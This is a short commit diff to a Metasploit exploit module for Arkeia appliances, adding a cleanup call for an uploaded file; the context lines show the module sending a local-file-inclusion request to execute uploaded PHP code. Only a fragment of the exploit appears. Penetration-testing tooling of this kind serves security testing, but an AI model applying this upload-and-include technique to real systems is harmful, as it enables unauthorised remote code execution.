changes to arkeia_upload_exec to comply with r7 suggestions #2
parent
24a671b530
commit
d6a1182bd4
|
@ -115,6 +115,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return fail_with(Exploit::Failure::None, "File wasn't uploaded, aborting!")
|
return fail_with(Exploit::Failure::None, "File wasn't uploaded, aborting!")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
register_files_for_cleanup("/tmp/ApplianceUpdate")
|
||||||
|
|
||||||
print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
|
print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
|
|
Loading…
Reference in New Issue